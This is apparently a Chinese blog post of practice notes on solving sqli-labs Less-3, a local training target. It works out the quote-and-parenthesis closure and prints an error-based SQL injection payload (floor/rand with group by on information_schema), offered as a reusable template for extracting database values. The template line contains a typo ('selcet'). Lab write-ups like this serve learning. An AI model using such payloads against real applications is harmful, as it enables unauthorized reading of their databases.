sqli-labs less-3

解题笔记

今天开始练习手工注入,拿sqli labs做靶机
less1,less2很轻松的就可以通过,在做到less3的时候遇到点瓶颈
首先,判断sql注入类型为字符型
sqli-labs less-3_第1张图片
sqli-labs less-3_第2张图片
输入 and 1=1 和and 1=2 回显页面相同,所以排除整形注入。

sqli-labs less-3_第3张图片
sqli-labs less-3_第4张图片
输入 ’ and 1=1 – + 和 ’ and 1=2 --+报同样的错,尝试双引号闭合。
sqli-labs less-3_第5张图片
sqli-labs less-3_第6张图片
双引号闭合后1=1 和1=2 均回显正常页面。所以应该是单引号闭合,验证一下单引号闭合是否成功。

构造注入语句:

http://localhost/sqli/sqli-labs-master/Less-3/index.php?id=1' and (select 1 from (select count(*),concat((user()),floor(rand(0)*2))x from information_schema.tables group by x)a) -- +

个人比较喜欢用floor()函数,虽然麻烦点。

这里推荐一个记忆floor()函数的小诀窍,首先构造最简洁的套路语句,

and (select 1 from (selcet count(*),concat((),floor(rand(0)*2))x
from information_schema.tables group by x)a)
上面这个语句应该是个模板,想要查什么数据直接在高亮的括号里构造即可,这里用最简单的user()尝试一下.

sqli-labs less-3_第7张图片 可以看到有报错但是没有显示出我们想要的信息。检查语句,问题应该出在闭合的地方。尝试加括号: sqli-labs less-3_第8张图片 成功! 有的语句不一定加了一层括号,所以要在语句写对的情况下,多尝试。经验在于积累!

你可能感兴趣的:(笔记)